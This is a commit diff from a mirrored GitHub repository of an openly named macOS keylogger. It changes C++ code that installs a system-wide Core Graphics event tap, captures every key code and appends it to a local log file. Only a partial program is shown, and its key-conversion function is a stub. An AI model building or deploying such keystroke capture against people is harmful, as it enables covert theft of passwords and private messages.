mirror of
https://github.com/caseyscarborough/keylogger.git
synced 2020-11-18 19:53:40 -08:00
Convert to C style file writing.
This commit is contained in:
parent
71a63661bc
commit
b648c3ade9
@ -1,5 +1,4 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <fstream>
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <ApplicationServices/ApplicationServices.h>
|
#include <ApplicationServices/ApplicationServices.h>
|
||||||
#include <Carbon/Carbon.h>
|
#include <Carbon/Carbon.h>
|
||||||
@ -7,9 +6,9 @@
|
|||||||
|
|
||||||
using namespace std;
|
using namespace std;
|
||||||
|
|
||||||
const char *logfileLocation = "./keystroke.log";
|
FILE *logfile = NULL;
|
||||||
fstream logfile;
|
|
||||||
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
CGEventRef CGEventCallback (CGEventTapProxy, CGEventType, CGEventRef, void *);
|
||||||
|
const char *convertKeyCode(int);
|
||||||
|
|
||||||
int main(int argc, const char *argv[]) {
|
int main(int argc, const char *argv[]) {
|
||||||
|
|
||||||
@ -26,8 +25,9 @@ int main(int argc, const char *argv[]) {
|
|||||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
|
||||||
CGEventTapEnable(eventTap, true);
|
CGEventTapEnable(eventTap, true);
|
||||||
|
|
||||||
logfile.open(logfileLocation, ios::out);
|
const char *logfileLocation = "./keystroke.log";
|
||||||
logfile << "Keylogging started.\n\n";
|
logfile = fopen(logfileLocation, "a");
|
||||||
|
fprintf(logfile, "Keylogging has begun.\n\n");
|
||||||
CFRunLoopRun();
|
CFRunLoopRun();
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
@ -39,6 +39,10 @@ CGEventRef CGEventCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef
|
|||||||
}
|
}
|
||||||
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
CGKeyCode keyCode = (CGKeyCode) CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
|
||||||
|
|
||||||
logfile << keyCode;
|
fprintf(logfile, "%s", convertKeyCode(keyCode));
|
||||||
return event;
|
return event;
|
||||||
|
}
|
||||||
|
|
||||||
|
const char *convertKeyCode(int keyCode) {
|
||||||
|
return "keypress";
|
||||||
}
|
}
|
Loading…
x
Reference in New Issue
Block a user